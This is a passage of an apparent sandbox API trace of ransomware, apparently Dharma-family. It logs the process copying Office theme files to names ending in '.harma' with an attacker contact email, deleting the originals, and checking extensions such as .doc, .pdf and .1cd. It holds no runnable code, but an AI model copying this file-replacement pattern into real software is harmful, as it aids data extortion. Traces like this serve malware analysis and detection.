Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.437] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.438] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0060.438] GetLastError () returned 0x0 [0060.438] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0xcf7b, lpOverlapped=0x0) returned 1 [0060.441] WriteFile (in: hFile=0x1f8, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xcf80, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xcf80, lpOverlapped=0x0) returned 1 [0060.443] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.443] WriteFile (in: hFile=0x1f8, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.443] SetEndOfFile (hFile=0x1f8) returned 1 [0060.444] CloseHandle (hObject=0x1f8) returned 1 [0060.444] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.444] SetEndOfFile (hFile=0x180) returned 1 [0060.445] CloseHandle (hObject=0x180) returned 1 [0060.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0060.446] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 1 [0060.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0060.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0060.446] lstrlenW (lpString=".doc") returned 4 [0060.446] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0060.446] lstrlenW (lpString=".docx") returned 5 [0060.446] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0060.446] lstrlenW (lpString=".pdf") returned 4 [0060.446] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0060.446] lstrlenW (lpString=".xls") returned 4 [0060.446] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0060.446] lstrlenW (lpString=".xlsx") returned 5 [0060.446] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0060.446] lstrlenW (lpString=".ppt") returned 4 [0060.446] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0060.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0060.446] lstrlenW (lpString=".zip") returned 4 [0060.446] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0060.446] lstrlenW (lpString=".rar") returned 4 [0060.446] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0060.446] lstrlenW (lpString=".bz2") returned 4 [0060.446] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0060.447] lstrlenW (lpString=".7z") returned 3 [0060.447] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0060.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0060.447] lstrlenW (lpString=".dbf") returned 4 [0060.447] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0060.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0060.447] lstrlenW (lpString=".1cd") returned 4 [0060.447] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0060.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0060.447] lstrlenW (lpString=".jpg") returned 4 [0060.447] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0060.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0060.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0060.447] lstrlenW (lpString=".doc") returned 4 [0060.447] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0060.447] lstrlenW (lpString=".docx") returned 5 [0060.447] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0060.447] lstrlenW (lpString=".pdf") returned 4 [0060.447] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0060.447] lstrlenW (lpString=".xls") returned 4 [0060.447] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0060.447] lstrlenW (lpString=".xlsx") returned 5 [0060.447] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0060.447] lstrlenW (lpString=".ppt") returned 4 [0060.447] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0060.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0060.447] lstrlenW (lpString=".zip") returned 4 [0060.448] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0060.448] lstrlenW (lpString=".rar") returned 4 [0060.448] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0060.448] lstrlenW (lpString=".bz2") returned 4 [0060.448] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0060.448] lstrlenW (lpString=".7z") returned 3 [0060.448] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0060.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0060.448] lstrlenW (lpString=".dbf") returned 4 [0060.448] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0060.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0060.448] lstrlenW (lpString=".1cd") returned 4 [0060.448] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0060.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0060.448] lstrlenW (lpString=".jpg") returned 4 [0060.448] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0060.448] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0060.448] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0060.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.449] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=2604) returned 1 [0060.449] CloseHandle (hObject=0x180) returned 1 [0060.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 0x20 [0060.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.449] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.449] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0060.451] GetLastError () returned 0x0 [0060.451] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0xa2c, lpOverlapped=0x0) returned 1 [0060.684] WriteFile (in: hFile=0x1f8, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xa30, lpOverlapped=0x0) returned 1 [0061.872] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.875] WriteFile (in: hFile=0x1f8, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xea, lpOverlapped=0x0) returned 1 [0061.875] SetEndOfFile (hFile=0x1f8) returned 1 [0061.875] CloseHandle (hObject=0x1f8) returned 1 [0061.875] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.876] SetEndOfFile (hFile=0x180) returned 1 [0061.876] CloseHandle (hObject=0x180) returned 1 [0061.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0061.877] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 1 [0061.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0061.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0061.877] lstrlenW (lpString=".doc") returned 4 [0061.877] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.877] lstrlenW (lpString=".docx") returned 5 [0061.877] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0061.877] lstrlenW (lpString=".pdf") returned 4 [0061.877] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.877] lstrlenW (lpString=".xls") returned 4 [0061.877] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.877] lstrlenW (lpString=".xlsx") returned 5 [0061.877] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0061.877] lstrlenW (lpString=".ppt") returned 4 [0061.877] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0061.877] lstrlenW (lpString=".zip") returned 4 [0061.877] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.877] lstrlenW (lpString=".rar") returned 4 [0061.877] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.877] lstrlenW (lpString=".bz2") returned 4 [0061.878] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.878] lstrlenW (lpString=".7z") returned 3 [0061.878] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0061.878] lstrlenW (lpString=".dbf") returned 4 [0061.878] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0061.878] lstrlenW (lpString=".1cd") returned 4 [0061.878] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0061.878] lstrlenW (lpString=".jpg") returned 4 [0061.878] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0061.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0061.878] lstrlenW (lpString=".doc") returned 4 [0061.878] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.878] lstrlenW (lpString=".docx") returned 5 [0061.878] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0061.878] lstrlenW (lpString=".pdf") returned 4 [0061.878] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.878] lstrlenW (lpString=".xls") returned 4 [0061.878] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.878] lstrlenW (lpString=".xlsx") returned 5 [0061.878] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0061.878] lstrlenW (lpString=".ppt") returned 4 [0061.878] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0061.878] lstrlenW (lpString=".zip") returned 4 [0061.878] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.878] lstrlenW (lpString=".rar") returned 4 [0061.878] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.879] lstrlenW (lpString=".bz2") returned 4 [0061.879] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.879] lstrlenW (lpString=".7z") returned 3 [0061.879] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0061.879] lstrlenW (lpString=".dbf") returned 4 [0061.879] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0061.879] lstrlenW (lpString=".1cd") returned 4 [0061.879] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0061.879] lstrlenW (lpString=".jpg") returned 4 [0061.879] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.879] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0061.879] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0061.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0062.633] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=1009) returned 1 [0062.633] CloseHandle (hObject=0x214) returned 1 [0062.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 0x20 [0062.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0062.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0062.633] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.633] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0062.803] GetLastError () returned 0x0 [0062.803] ReadFile (in: hFile=0x214, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x3f1, lpOverlapped=0x0) returned 1 [0062.804] WriteFile (in: hFile=0x1ec, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x400, lpOverlapped=0x0) returned 1 [0062.805] ReadFile (in: hFile=0x214, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.805] WriteFile (in: hFile=0x1ec, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xea, lpOverlapped=0x0) returned 1 [0062.805] SetEndOfFile (hFile=0x1ec) returned 1 [0062.805] CloseHandle (hObject=0x1ec) returned 1 [0062.806] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.806] SetEndOfFile (hFile=0x214) returned 1 [0062.807] CloseHandle (hObject=0x214) returned 1 [0062.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0062.807] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 1 [0062.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0062.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0062.807] lstrlenW (lpString=".doc") returned 4 [0062.807] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.807] lstrlenW (lpString=".docx") returned 5 [0062.807] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0062.807] lstrlenW (lpString=".pdf") returned 4 [0062.807] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.807] lstrlenW (lpString=".xls") returned 4 [0062.807] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.807] lstrlenW (lpString=".xlsx") returned 5 [0062.807] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0062.807] lstrlenW (lpString=".ppt") returned 4 [0062.808] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0062.808] lstrlenW (lpString=".zip") returned 4 [0062.808] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.808] lstrlenW (lpString=".rar") returned 4 [0062.808] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.808] lstrlenW (lpString=".bz2") returned 4 [0062.808] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.808] lstrlenW (lpString=".7z") returned 3 [0062.808] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0062.808] lstrlenW (lpString=".dbf") returned 4 [0062.808] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0062.808] lstrlenW (lpString=".1cd") returned 4 [0062.808] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0062.808] lstrlenW (lpString=".jpg") returned 4 [0062.808] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0062.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0062.808] lstrlenW (lpString=".doc") returned 4 [0062.808] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.808] lstrlenW (lpString=".docx") returned 5 [0062.808] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0062.808] lstrlenW (lpString=".pdf") returned 4 [0062.808] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.808] lstrlenW (lpString=".xls") returned 4 [0062.808] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.808] lstrlenW (lpString=".xlsx") returned 5 [0062.808] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0062.809] lstrlenW (lpString=".ppt") returned 4 [0062.809] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0062.809] lstrlenW (lpString=".zip") returned 4 [0062.809] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.809] lstrlenW (lpString=".rar") returned 4 [0062.809] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.809] lstrlenW (lpString=".bz2") returned 4 [0062.809] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.809] lstrlenW (lpString=".7z") returned 3 [0062.809] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0062.809] lstrlenW (lpString=".dbf") returned 4 [0062.809] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0062.809] lstrlenW (lpString=".1cd") returned 4 [0062.809] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0062.810] lstrlenW (lpString=".jpg") returned 4 [0062.810] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.810] lstrcmpiW (lpString1=".CHM", lpString2=".harma") returned -1 [0062.810] lstrlenW (lpString="VBENDF98.CHM") returned 12 [0062.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0062.811] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=72031) returned 1 [0062.811] CloseHandle (hObject=0x214) returned 1 [0062.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 0x20 [0062.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 